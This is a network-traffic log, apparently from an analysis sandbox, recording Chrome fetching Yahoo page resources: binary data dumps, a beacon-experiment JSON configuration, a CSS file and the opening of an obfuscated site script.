2024-04-27 22:41:57 UTC	1300	IN	Data Raw: dd 3e 27 d7 2c 34 2e 5e 55 de c7 e1 bd 58 fb b2 ec 74 54 e6 6c 50 d2 49 87 b4 e3 ba a3 39 d2 dc 4f e5 77 24 01 de 8b 16 4d 38 4f da 99 7a 76 2a 3f 35 ab 8c a7 ce ac dd 5f b4 9b 2d f1 cf 44 b3 b2 79 74 87 e8 22 05 d8 fd 3c b7 ec c2 b0 e6 72 52 e4 8a 41 28 04 00 40 03 d4 28 36 25 19 f0 85 14 d6 94 44 9b 20 ea 12 3a 0e 51 bd 0a 98 9a 3b 3b ee a6 92 96 4a 81 d3 40 3b ba ab 31 39 09 7a 2b 4b 0d 65 ea 52 d4 e5 f0 d9 fd 53 e2 a6 fd 11 c9 8c 4a 5e 81 47 ed 30 de 6e 8a 32 19 7c 67 9a da 12 69 e4 c0 58 7c df 1a b8 ae 65 d6 8c e5 af 77 cc ff 00 55 c1 e5 7d ae e7 87 e2 a9 2b 76 0b 27 e9 35 47 d6 1f b8 94 2e 87 12 76 4f 27 51 80 eb 7a 39 a2 9d cf 03 21 fd 0f 61 f3 2b d4 71 73 b8 c7 1f 91 3d aa ab 1d b2 e5 50 d3 f6 7a 47 cb ca 37 0c dc fe 5d 4a ea 7f 24 93 b5 33 15 db Data Ascii: >',4.^UXtTlPI9Ow$M8Ozv*?5_-Dyt"<rRA(@(6%D :Q;;J@;19z+KeRSJ^G0n2\|giX\|ewU}+v'5G.vO'Qz9!a+qs=PzG7]J$3
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 2e 54 4f e9 2e 14 e8 7a 96 6d 75 37 fe e8 53 b2 97 65 4c 32 1c 35 f9 2a 34 69 d9 5e 70 a2 f4 9b 34 50 49 9e 81 46 d3 b1 9a 0a 53 6c b3 33 ba 6a ae fd 79 83 e4 54 9c a2 31 44 1d 5d 8a 29 09 be 14 da da ab 4d 64 51 0f 0d a4 ea 8a 87 8a 41 17 27 31 19 7b 24 b7 70 b7 b5 23 57 ff 00 a6 91 64 f2 4d c6 9f 05 f5 71 b7 1d b5 94 1a 52 a3 c2 64 b8 aa 99 fc 90 b0 7c 4f 27 c8 77 1e bf 35 cb bc 4f e6 bd ba 73 c9 a8 cb ff 00 e2 ea f7 b2 9a ae e1 73 89 95 04 38 b9 90 39 93 73 74 c1 e6 03 af 9e 08 1e 9d ce f9 c3 f1 eb a2 7f 90 2d cf 89 1a 76 b2 96 48 2a a8 9c 73 8e 43 e2 92 7d 76 39 f4 53 fe 2e 38 77 0f ef ee 83 b2 6a ab ad 5e 6d f6 3b 6d 45 74 d2 ca 03 a9 e0 84 9f 11 ae ec 40 cf 97 f5 57 7f 27 a9 e7 8a d6 93 67 e1 56 bc b8 c5 cf 5b 67 7d b4 34 65 b0 54 54 73 16 03 ef 6c Data Ascii: .TO.zmu7SeL254i^p4PIFSl3jyT1D])MdQA'1{$p#WdMqRd\|O'w5Oss89st-vHsC}v9S.8wj^m;mEt@W'gV[g}4eTTsl
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 69 69 c7 83 54 e7 35 cd 6c 8d c8 6b d8 0e cf 61 e8 4e 40 38 c1 c6 46 3a 9c 2f 27 7b b5 c4 e5 f8 fd 72 66 da fb 85 31 5a 2a e5 aa b6 57 44 e8 9d 23 a3 12 0c b1 81 e3 b3 98 e1 98 c1 fc b3 8d b7 5d 9c 79 32 f4 c3 eb d3 35 9e 09 e9 26 7d 35 54 46 39 58 70 e6 9e a0 f9 2b b1 ce 64 ae e3 ba 4d 5a 40 40 04 00 51 43 c3 d1 42 2a d1 a2 e7 2d ac 8b 03 ae 3f aa e6 f3 a6 f1 db 5f 1a ba 63 43 49 f7 6d f9 2f 15 cb fa ed f8 3b 8b cb 5d e8 b9 75 a1 eb 90 0a 52 b8 b6 66 e3 b9 53 8f d1 7e 37 6e 1a bb ee 5b b7 f0 ae ff 00 0e b9 1c ac 7b 6e 96 e3 98 a3 f9 05 d6 9f 1c da 93 1d 13 20 10 01 00 10 05 40 04 02 6d 51 01 35 61 84 ce 50 00 f4 40 30 ac 69 2d 77 ae 53 12 b9 fb 8d 50 8f b2 d5 6d f8 4a cf c9 9f d5 b3 8b d5 8e 1f bc 37 96 e5 50 3c 9e 57 0e fd 77 a7 c4 55 4b b9 a2 2c 23 aa Data Ascii: iiT5lkaN@8F:/'{rf1ZWD#]y25&}5TF9Xp+dMZ@@QCB-?_cCIm/;]uRfS~7n[{n @mQ5aP@0i-wSPmJ7P<WwUK,#
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 8a 52 4d c8 2b 30 f6 8b e2 44 dc 2f e1 5d d3 50 db 61 8a 5b a4 c0 51 db c4 a4 78 6d 99 e0 fb ee c9 03 0d 68 73 b1 dc b4 0e e8 5d 1f 30 67 a1 f0 6a 04 d2 4d 55 53 53 70 90 d4 4d 2d 49 f7 e7 73 cf 57 3c f4 cf 91 03 ea 72 a7 4b 35 d3 5c e1 4f 07 2d 9a ba fb 6f d3 b5 72 1a ca 78 e2 8a b6 f3 33 25 0c 67 28 1f 75 00 c3 43 c8 c8 c9 27 97 71 8c 10 32 a3 2b a6 de 2e 1b c9 dd 96 8a 1a 3b 3d 05 3d b6 86 08 e2 8a 99 81 8c 6c 63 0d 68 1d 80 f2 58 bc 97 75 da c7 a9 d2 5a 39 71 82 42 cf ea b3 7b 3b 85 e1 f8 0d 2a 74 5b 53 b4 78 2c 68 c6 1c 3a a6 c3 15 59 de 93 34 ef 6f 20 00 2d 38 ce 98 ec 2c d7 60 95 62 24 d0 8f 2d 6e e4 ec a3 66 93 64 27 a8 81 ad c0 7e e5 25 b3 47 c2 76 86 ac 99 a0 e3 2b 3e 55 b3 19 a4 35 63 b0 32 15 47 42 d4 55 3b 91 cf 7b ba 74 44 ba 4f a6 fa 61 7e Data Ascii: RM+0D/]Pa[Qxmhs]0gjMUSSpM-IsW<rK5\O-orx3%g(uC'q2+.;==lchXuZ9qB{;*t[Sx,h:Y4o -8,`b$-nfd'~%Gv+>U5c2GBU;{tDOa~
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 00 54 0b d9 9f 55 5c 5f fb a8 3b 8c 3b bf dd f3 ee a9 f3 2d f1 bc b4 35 c1 a4 03 8e b9 5c ef 2f c6 bc 26 d1 fa 8f 06 1c 0d b0 53 71 7e a3 cf 14 ca ae 5f 04 81 d5 75 63 0d 40 4b fb d7 2b 09 63 a8 af f4 54 e4 b8 16 2a eb 3e 95 5a 9b 75 33 8e 39 30 93 46 d2 0e e9 6b 84 b4 e0 63 0a cc 4b 55 7a fb 5c 3c dc ae 19 f5 57 e0 a7 28 63 fb 36 36 9c 06 85 64 8a ae 3a ec 3f 67 b3 f8 7f 54 d2 d8 36 38 a3 03 b7 ea a7 63 a2 cd a5 f2 1d 3d 51 ec 3b 3b 8e 94 80 06 14 5b 68 e8 e6 0a 32 71 81 8f 55 01 2f 69 b4 78 f2 8c 0c 80 ac 0d 0b 4e 59 81 2d e5 8f a1 01 4c 55 9d 6e fc 3e b3 6e cf bb ee 3f a0 56 e0 cf 9d e9 bf 69 4a 78 a2 6b 7d ce d8 57 c6 3c af 6b bd 26 d1 a7 21 f4 4f 20 85 30 d8 cd 9c 07 e4 0d ba a6 4b de 6f 44 bf 68 0e 6f 44 c0 9c f2 f8 4c 74 ae 1e e3 1a 5c 4a 16 63 f1 Data Ascii: TU\_;;-5\/&Sq~_uc@K+cT*>Zu390FkcKUz\<W(c66d:?gT68c=Q;;[h2qU/ixNY-LUn>n?ViJxk}W<k&!O 0KoDhoDLt\Jc
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 54 92 da 6f 94 0e 9a 37 36 9d d1 f8 13 37 98 93 ee 4a 40 1b f7 1c a0 83 d7 04 67 3d 57 5b c7 97 c7 0e ce d5 0d 4f 15 3b aa 62 a9 a6 91 84 c8 ce 57 31 87 e1 e5 00 03 8e db 7f 45 db e2 cf 68 c7 c8 e9 06 b4 55 38 fc 04 18 74 d4 b0 f2 d4 f0 ca a1 9f 4f ea b3 79 ff 00 f1 ac c1 d0 3c 3c 94 16 b3 7e c1 78 cf c9 4d 3b 1c 5a d8 69 9d 96 b4 63 b2 f3 d5 d1 3a 1b a1 00 7a 22 06 97 c3 29 71 34 43 e4 ba dc 46 1e 5f c7 49 e9 97 73 53 b5 e7 b8 5d f9 ff 00 58 e2 e5 f5 64 6e ed 09 a1 5e a9 00 80 08 04 52 01 53 e2 98 0a c8 28 29 40 88 00 80 4a 5e a9 16 b3 0e 28 c4 4d 1b f6 fc 25 17 b8 99 f5 c1 7c 49 67 85 a9 26 38 f8 89 5c 6e 54 ed db e2 7c 55 b3 8d 96 49 5d 14 2d c9 b8 e7 df ba ab cc 7c 11 b6 d7 62 a5 cd c6 c5 60 f2 c5 f3 e1 a6 a3 ff 00 4a f6 e3 7c a3 8d d5 4e 57 71 46 9f Data Ascii: To767J@g=W[O;bW1EhU8tOy<<~xM;Zic:z")q4CF_IsS]Xdn^RS()@J^(M%\|Ig&8\nT\|UI]-\|b`J\|NWqF
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 60 73 86 f9 65 3e 31 46 46 17 ff 00 6b 08 ad ad 63 e9 6a a3 2d f7 b7 00 b7 3d 3c c9 4d 34 cf 76 ae c5 ed 9c e9 a4 11 c8 d8 25 85 fd 0b e4 c6 7e 84 64 26 fd 27 7a ed 37 07 1d 2d 7a 98 f3 c7 2b 29 9c 3a 07 e1 c0 fd 7b 2a 6c 9b 74 b8 fc 8d cd 55 b7 45 f1 05 d7 7a 57 be 9f 96 46 07 72 87 07 f9 7d 15 56 d5 db df 6b 2b f5 7b c6 39 1f cb dd db e7 2e ee 55 57 2a b2 48 a9 dd 35 ed 54 1f 68 11 cd 82 5e 77 ca 68 5b 74 52 c9 7b b8 dc 1e c9 a5 ab 01 c7 cd d8 ca b3 19 63 26 79 f6 b7 da 2e 92 56 4a f6 b2 b2 27 96 12 c2 0b b7 cf a2 b7 4a f2 cb 5f 13 9e 35 47 d9 9c d6 81 21 1b bb d0 79 a4 cb 1e d1 33 56 2e d3 ba 37 16 97 67 99 55 7b 59 32 56 ae 92 c8 60 92 28 4f bc 5a 72 a2 4d 55 5e 4f ed 3b 73 d7 17 34 cd 3c d7 e8 19 4f 50 c8 24 9e 30 e2 1e 30 c9 64 1f c5 fe e0 41 3e be Data Ascii: `se>1FFkcj-=<M4v%~d&'z7-z+):{ltUEzWFr}Vk+{9.UWH5Th^wh[tR{c&y.VJ'J_5G!y3V.7gU{Y2V`(OZrMU^O;s4<OP$00dA>
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 83 96 f9 e2 7f 11 2b 8d ca fa ec f1 be 33 32 39 fd 30 b9 ed d2 e9 11 5f f8 91 9f 71 76 08 26 b0 b2 b3 7e eb 27 93 b6 ac 0a dc 87 35 3c 8d f4 55 e3 d5 36 53 71 9f 57 7b b2 bd 98 e8 56 ff 00 1f 51 8b c9 f5 07 59 fb c2 b4 62 cd 7e 3b 32 e8 de 78 cb b0 91 9d 5c a8 6e 64 21 00 d9 f1 0d b0 df d5 20 27 3c 20 91 81 84 03 67 c2 41 dc 7e a9 c5 15 90 97 11 b2 08 75 05 1e 70 70 15 b8 8b f1 2f 4b 44 5d ca d6 01 d1 4a ab 56 1a 0a 19 00 8c 72 8e a9 a5 42 cf 6d a1 93 6f 74 75 56 e3 8a bc aa df 66 a1 7e 63 f7 02 bb 18 a7 2f 8b ed 92 8c b5 c3 9d a1 6c c6 74 c9 9d ab ad a9 80 35 83 08 55 92 c5 00 02 31 80 a4 a7 4c f8 52 d0 70 d4 c0 a2 16 8e 80 8a d5 f7 19 ad 3a 5e eb 72 a7 fd e5 2d 1c d3 33 b7 bc d6 1c 24 cb e2 78 98 fb 79 e4 71 e6 97 f6 8f b4 eb 69 ae 3a 4a f1 33 a1 9e 68 Data Ascii: +3290_qv&~'5<U6SqW{VQYb~;2x\nd! '< gA~upp/KD]JVrBmotuVf~c/lt5U1LRp:^r-3$xyqi:J3h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	49912	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:57 UTC	965	OUT	GET /ybar/exp.json HTTP/1.1 Host: edge-mcdn.secure.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:41:57 UTC	785	IN	HTTP/1.1 200 OK x-amz-id-2: 68fcv5zqzBZLB48CxAvzLBRRzR3W8/ayiKUTmTzhWHXscJWvsht3CTJg+GTa804nYwQJQYe/kU4= x-amz-request-id: TCQVY49EEA02S0JP Date: Sat, 27 Apr 2024 17:32:13 GMT Last-Modified: Tue, 06 Dec 2022 17:20:56 GMT x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Content-Type: application/json Server: ATS Content-Length: 1784 Referrer-Policy: no-referrer-when-downgrade Etag: "877792d86d801176269a36ac7b4e6e02" Age: 18585 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Timing-Allow-Origin: * Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 7b 0a 20 20 20 20 22 65 78 70 43 6f 75 6e 74 22 3a 35 2c 0a 20 20 20 20 22 73 65 6c 65 63 74 69 6f 6e 22 3a 22 69 6e 64 69 76 69 64 75 61 6c 22 2c 0a 20 20 20 20 22 75 70 6c 6f 61 64 54 79 70 65 22 3a 22 67 72 6f 75 70 22 2c 0a 20 20 20 20 22 72 75 6e 50 72 6f 62 22 3a 31 30 2c 0a 20 20 20 20 22 65 78 70 4c 69 73 74 22 3a 5b 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 22 76 70 69 78 69 65 61 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 65 61 63 6f 6e 52 65 67 65 78 22 3a 22 5e 68 74 74 70 73 3a 5c 2f 5c 2f 76 2d 28 5b 5e 2e 5d 2a 29 2e 77 63 2e 79 61 68 6f 6f 64 6e 73 2e 6e 65 74 5c 2f 69 2e 67 69 66 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 74 61 72 67 65 74 22 3a 22 68 74 74 70 73 3a 2f 2f 76 2d Data Ascii: { "expCount":5, "selection":"individual", "uploadType":"group", "runProb":10, "expList":[ { "name":"vpixiea", "beaconRegex":"^https:\/\/v-([^.]*).wc.yahoodns.net\/i.gif", "target":"https://v-
2024-04-27 22:41:57 UTC	484	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 22 75 70 6c 6f 61 64 45 6e 64 70 6f 69 6e 74 73 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 79 62 61 72 2d 6d 63 64 6e 2d 72 65 70 6f 72 74 2e 77 63 2e 79 61 68 6f 6f 64 6e 73 2e 6e 65 74 2f 63 73 2f 22 5d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 74 69 6d 65 6f 75 74 22 3a 35 30 30 30 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 22 79 63 73 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 62 65 61 63 6f 6e 52 65 67 65 78 22 3a 22 5e 68 74 74 70 73 3a 5c 2f 5c 2f 63 65 72 65 62 72 6f 2e 65 64 6e 61 2e 79 61 68 6f 6f 2e 6e 65 74 5c 2f 6e 6f 71 75 65 72 79 5c 2f 70 69 78 65 6c 2e 67 69 66 5b 3f 5d 72 61 6e 64 3d 28 2e 2a 29 22 2c 0a 20 20 20 20 20 20 Data Ascii: "uploadEndpoints":["https://ybar-mcdn-report.wc.yahoodns.net/cs/"], "timeout":5000 }, { "name":"ycs", "beaconRegex":"^https:\/\/cerebro.edna.yahoo.net\/noquery\/pixel.gif[?]rand=(.*)",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	49911	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:57 UTC	604	OUT	GET /aaq/fp/css/react-wafer-shopping.custom.desktop.fdf1fc8fe6bc6d08523f7958b8edf2b5.css HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:57 UTC	837	IN	HTTP/1.1 200 OK x-amz-id-2: nC2n3HVhk2+i45wC4Xf5jpksshcV1HoQZz7ivOgQU0p4ouWp93w6o9Xx5LX5uChjDentZKg92Zw= x-amz-request-id: KANMTAPZVTMJ3PDK Date: Sat, 27 Apr 2024 07:34:01 GMT Last-Modified: Wed, 29 Jun 2022 01:27:55 GMT ETag: "fdf1fc8fe6bc6d08523f7958b8edf2b5" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: jeRlDocrV65ZoxXH0UKfrTP1Kb6.ey4D Accept-Ranges: bytes Content-Type: text/css Server: ATS Content-Length: 237 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 54477 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-04-27 22:41:57 UTC	237	IN	Data Raw: 2e 73 68 6f 70 70 69 6e 67 2d 70 72 6f 64 75 63 74 3a 68 6f 76 65 72 20 2e 73 68 6f 70 70 69 6e 67 2d 63 61 70 74 69 6f 6e 2d 63 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 31 35 35 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 73 68 6f 70 70 69 6e 67 2d 70 72 6f 64 75 63 74 3a 68 6f 76 65 72 20 2e 73 68 6f 70 70 69 6e 67 2d 63 61 70 74 69 6f 6e 7b 6f 70 61 63 69 74 79 3a 31 21 69 6d 70 6f 72 74 61 6e 74 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 31 31 39 30 70 78 29 7b 2e 73 68 6f 70 70 69 6e 67 2d 70 72 6f 64 75 63 74 3a 68 6f 76 65 72 20 2e 73 68 6f 70 70 69 6e 67 2d 63 61 70 74 69 6f 6e 2d 63 6f 6e 74 61 69 6e 65 72 7b 77 69 64 74 68 3a 31 32 35 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 7d Data Ascii: .shopping-product:hover .shopping-caption-container{width:155px!important}.shopping-product:hover .shopping-caption{opacity:1!important}@media (max-width:1190px){.shopping-product:hover .shopping-caption-container{width:125px!important}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.4	49916	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:57 UTC	537	OUT	GET /aaq/f10d509c/d1ccw66oyq8ex2.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:57 UTC	824	IN	HTTP/1.1 200 OK x-amz-id-2: XdIqTpxObxW+bLzAUP07vekvdqQMyrGLNYUDxFcFs0fOE+T78mP+6X67Ang6NoFIpXTmQWtNe6E= x-amz-request-id: 81JE28QQXV2998PA Date: Sat, 27 Apr 2024 22:36:43 GMT Last-Modified: Fri, 26 Apr 2024 18:56:06 GMT x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=600 x-amz-version-id: awAUCYq3VB5RpPSOueu3wSCt6pR7iCYv Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 162074 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Etag: "87517dace2118bc6b9f33ef70d5deb7b" Age: 315 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 28 6e 65 77 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 5b 27 79 32 7a 4e 6c 77 76 30 42 68 43 3d 27 2c 27 70 67 48 4c 79 77 71 2b 70 63 39 4f 7a 77 66 4b 70 4a 58 49 42 32 72 35 70 4a 57 56 79 4d 39 4b 45 74 34 3d 27 2c 27 78 31 39 31 44 49 34 4b 44 33 6a 48 43 63 47 3d 27 2c 27 71 76 6a 66 71 73 62 63 75 49 62 64 74 30 57 47 72 75 31 63 72 75 71 47 73 66 69 47 74 65 4c 6f 73 59 62 71 71 76 6a 62 74 73 62 74 74 31 76 73 71 30 75 47 76 66 6a 62 71 30 53 47 76 30 6a 73 69 66 6e 75 77 75 58 66 69 66 72 6a 76 65 58 66 27 2c 27 69 49 61 54 70 73 61 3d 27 2c 27 43 32 76 55 7a 61 3d 3d 27 2c 27 7a 67 4c 59 27 2c 27 77 75 48 63 78 30 48 70 75 31 72 74 27 2c 27 79 78 6a 4e 44 77 31 4c 42 4e 72 5a 69 64 30 47 77 31 30 55 43 32 58 50 79 32 75 55 79 32 66 Data Ascii: (new function(){var c=['y2zNlwv0BhC=','pgHLywq+pc9OzwfKpJXIB2r5pJWVyM9KEt4=','x191DI4KD3jHCcG=','qvjfqsbcuIbdt0WGru1cruqGsfiGteLosYbqqvjbtsbtt1vsq0uGvfjbq0SGv0jsifnuwuXfifrjveXf','iIaTpsa=','C2vUza==','zgLY','wuHcx0Hpu1rt','yxjNDw1LBNrZid0Gw10UC2XPy2uUy2f
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 67 65 3d 27 2c 27 75 65 6e 6a 72 63 30 3d 27 2c 27 76 31 6e 79 74 59 61 56 69 61 3d 3d 27 2c 27 43 32 76 4c 7a 66 72 48 7a 57 3d 3d 27 2c 27 7a 78 7a 30 6c 77 72 4c 44 4a 66 56 7a 57 3d 3d 27 2c 27 42 4d 66 54 7a 71 3d 3d 27 2c 27 77 32 39 49 41 4d 76 4a 44 63 62 6f 79 78 7a 50 7a 32 66 30 41 77 39 55 78 71 3d 3d 27 2c 27 6c 63 62 4a 44 77 75 36 69 61 3d 3d 27 2c 27 43 32 6e 59 41 78 62 30 43 57 3d 3d 27 2c 27 77 30 76 46 77 66 72 46 74 4c 30 3d 27 2c 27 79 4d 4c 4b 75 4d 76 58 71 32 39 31 42 4e 71 3d 27 2c 27 6a 4d 6a 48 70 71 3d 3d 27 2c 27 73 64 4c 6c 73 57 3d 3d 27 2c 27 43 4d 76 54 42 33 7a 4c 71 78 72 30 43 4d 4c 49 44 78 72 4c 27 2c 27 43 32 76 48 44 67 6a 50 7a 61 3d 3d 27 2c 27 76 32 4c 55 7a 67 39 33 6c 4d 6e 53 41 77 6e 52 27 2c 27 43 32 76 53 Data Ascii: ge=','uenjrc0=','v1nytYaVia==','C2vLzfrHzW==','zxz0lwrLDJfVzW==','BMfTzq==','w29IAMvJDcboyxzPz2f0Aw9Uxq==','lcbJDwu6ia==','C2nYAxb0CW==','w0vFwfrFtL0=','yMLKuMvXq291BNq=','jMjHpq==','sdLlsW==','CMvTB3zLqxr0CMLIDxrL','C2vHDgjPza==','v2LUzg93lMnSAwnR','C2vS
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 72 4f 27 2c 27 43 33 72 48 43 4e 71 3d 27 2c 27 79 77 6d 56 27 2c 27 44 67 31 53 27 2c 27 70 65 76 67 70 47 3d 3d 27 2c 27 44 68 4c 57 7a 71 3d 3d 27 2c 27 43 33 72 48 44 68 76 5a 27 2c 27 42 67 39 4a 79 78 72 50 42 32 34 55 27 2c 27 7a 67 4c 5a 79 77 6a 53 7a 77 71 36 69 61 3d 3d 27 2c 27 7a 32 76 30 75 68 6a 56 44 67 39 30 45 78 62 4c 74 32 79 3d 27 2c 27 43 68 6a 4c 44 4d 76 55 44 65 72 4c 7a 4d 66 31 42 68 71 3d 27 2c 27 7a 67 4c 32 6c 77 4c 55 43 33 72 50 79 32 66 30 42 33 69 54 79 77 71 3d 27 2c 27 78 33 62 49 41 4e 6e 68 42 67 39 49 79 77 58 5a 27 2c 27 43 33 72 56 43 65 4c 54 42 77 76 4b 41 77 66 30 7a 76 62 59 42 33 62 48 7a 32 66 30 41 77 39 55 27 2c 27 41 68 72 54 42 65 72 48 44 67 65 3d 27 2c 27 69 67 4c 55 69 61 3d 3d 27 2c 27 43 33 6a 4a 6c Data Ascii: rO','C3rHCNq=','ywmV','Dg1S','pevgpG==','DhLWzq==','C3rHDhvZ','Bg9JyxrPB24U','zgLZywjSzwq6ia==','z2v0uhjVDg90ExbLt2y=','ChjLDMvUDerLzMf1Bhq=','zgL2lwLUC3rPy2f0B3iTywq=','x3bIANnhBg9IywXZ','C3rVCeLTBwvKAwf0zvbYB3bHz2f0Aw9U','AhrTBerHDge=','igLUia==','C3jJl
2024-04-27 22:41:57 UTC	1300	IN	Data Raw: 31 4c 27 2c 27 70 68 6a 4a 44 64 35 33 41 77 71 39 27 2c 27 41 77 35 55 7a 78 6a 75 7a 78 48 30 27 2c 27 69 68 57 47 27 2c 27 73 66 72 6e 74 65 66 55 79 32 48 56 43 4b 76 53 7a 77 31 4c 42 4e 71 3d 27 2c 27 76 65 6a 6d 27 2c 27 41 77 35 50 44 61 3d 3d 27 2c 27 43 4d 6a 56 45 61 3d 3d 27 2c 27 41 67 76 48 7a 61 3d 3d 27 2c 27 43 33 62 53 41 77 6e 4c 27 2c 27 79 32 39 54 43 67 58 4c 44 67 75 3d 27 2c 27 43 32 4c 36 7a 71 3d 3d 27 2c 27 7a 78 7a 30 6c 77 48 32 79 77 71 3d 27 2c 27 43 32 6e 59 41 78 62 30 75 33 6a 4a 27 2c 27 79 78 62 50 75 32 76 5a 43 32 4c 56 42 4c 76 31 41 77 71 3d 27 2c 27 79 32 66 53 42 63 62 30 42 59 62 4c 44 4d 66 53 6b 63 4b 47 79 4d 58 56 79 32 54 4c 7a 63 62 49 45 73 62 64 75 31 61 3d 27 2c 27 44 4d 66 59 69 68 44 59 41 78 72 4c 72 Data Ascii: 1L','phjJDd53Awq9','Aw5UzxjuzxH0','ihWG','sfrntefUy2HVCKvSzw1LBNq=','vejm','Aw5PDa==','CMjVEa==','AgvHza==','C3bSAwnL','y29TCgXLDgu=','C2L6zq==','zxz0lwH2ywq=','C2nYAxb0u3jJ','yxbPu2vZC2LVBLv1Awq=','y2fSBcb0BYbLDMfSkcKGyMXVy2TLzcbIEsbdu1a=','DMfYihDYAxrLr
